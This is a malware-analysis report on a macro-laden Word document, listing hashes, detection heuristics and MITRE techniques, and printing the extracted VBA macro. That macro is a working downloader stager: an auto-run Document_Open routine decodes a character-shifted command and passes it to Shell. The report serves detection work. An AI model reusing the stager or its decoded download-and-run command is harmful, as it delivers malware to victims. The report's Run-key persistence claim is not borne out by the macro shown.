Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dc03a70f334fe746…

MALICIOUS

Office (OOXML)

86.7 KB Created: 2020-05-08 18:17:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-09-07
MD5: adeeec87d3f5512ecd4fb392cc0cd7f1 SHA-1: f3f6e3f77c77c3e97548513c9758b0a31a5f5dd1 SHA-256: dc03a70f334fe746751bd57d3a7e78e41cb77b4705c503a19c7faae20b70faa0
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with a Document_Open auto-execution routine. This macro uses character-shift decoding to obfuscate calls to Shell() and CreateObject(), indicating an attempt to download and execute a secondary payload. The script also attempts to establish persistence by writing to the Run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2121 bytes
SHA-256: 7a5db40fb5d068b359c808871e00fadd5ee1fee33b58ef14921c3d238460b904
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:01"))
Shell (GlPdXtSqeTUQWihCsmJXOWHHUJisaImMaaijeGxUMZokRPxsALJLQQh("œ›£‘žŸ”‘˜˜Z‘¤‘LY‘¤‘�¡ •›šœ›˜•�¥LŽ¥œ�ŸŸLYƒLt•��‘šLY�›™™�š�LTš‘£Y›Ž–‘� L ¥Ÿ ‘™Zz‘ Zƒ‘Žo˜•‘š UZp›£š˜›��r•˜‘TS”  œf[[ccZc_ZbeZ]_c[‘�Ÿ�[r—Ÿ�™�•Z‘¤‘SXP‘š¢f€‘™œWSˆr•˜‘š�™‘Z‘¤‘SU"))
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:10"))
asd = Environ(GlPdXtSqeTUQWihCsmJXOWHHUJisaImMaaijeGxUMZokRPxsALJLQQh("€‘™œ"))
Shell (asd + "\" + GlPdXtSqeTUQWihCsmJXOWHHUJisaImMaaijeGxUMZokRPxsALJLQQh("r•˜‘š�™‘Z‘¤‘"))
End Sub
   Public Function GlPdXtSqeTUQWihCsmJXOWHHUJisaImMaaijeGxUMZokRPxsALJLQQh(kdIeOKvlrgHKwATtmopLpCsLZMLMOUvwJsSFWwifmISDKEANCnXWwEM As String)
        Dim tXjFALhBnWMswcnenbcOYSRlnKceqoJZZPvGXBKagFSwidBIuVTtHAO As Integer, bGTnLiCKUNmoCChbHQChoUqDJIpFUpPSYATUZOzNeuTiQKUGNOhcaTa As Integer
        tXjFALhBnWMswcnenbcOYSRlnKceqoJZZPvGXBKagFSwidBIuVTtHAO = 44
        For bGTnLiCKUNmoCChbHQChoUqDJIpFUpPSYATUZOzNeuTiQKUGNOhcaTa = 1 To Len(kdIeOKvlrgHKwATtmopLpCsLZMLMOUvwJsSFWwifmISDKEANCnXWwEM)
            Mid(kdIeOKvlrgHKwATtmopLpCsLZMLMOUvwJsSFWwifmISDKEANCnXWwEM, bGTnLiCKUNmoCChbHQChoUqDJIpFUpPSYATUZOzNeuTiQKUGNOhcaTa, 1) = Chr(Asc(Mid(kdIeOKvlrgHKwATtmopLpCsLZMLMOUvwJsSFWwifmISDKEANCnXWwEM, bGTnLiCKUNmoCChbHQChoUqDJIpFUpPSYATUZOzNeuTiQKUGNOhcaTa, 1)) - tXjFALhBnWMswcnenbcOYSRlnKceqoJZZPvGXBKagFSwidBIuVTtHAO)
        Next bGTnLiCKUNmoCChbHQChoUqDJIpFUpPSYATUZOzNeuTiQKUGNOhcaTa
        GlPdXtSqeTUQWihCsmJXOWHHUJisaImMaaijeGxUMZokRPxsALJLQQh = kdIeOKvlrgHKwATtmopLpCsLZMLMOUvwJsSFWwifmISDKEANCnXWwEM
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 23e21cce08df391052cfc2fe8c9875331a415f7082c65282a6121581215bf040

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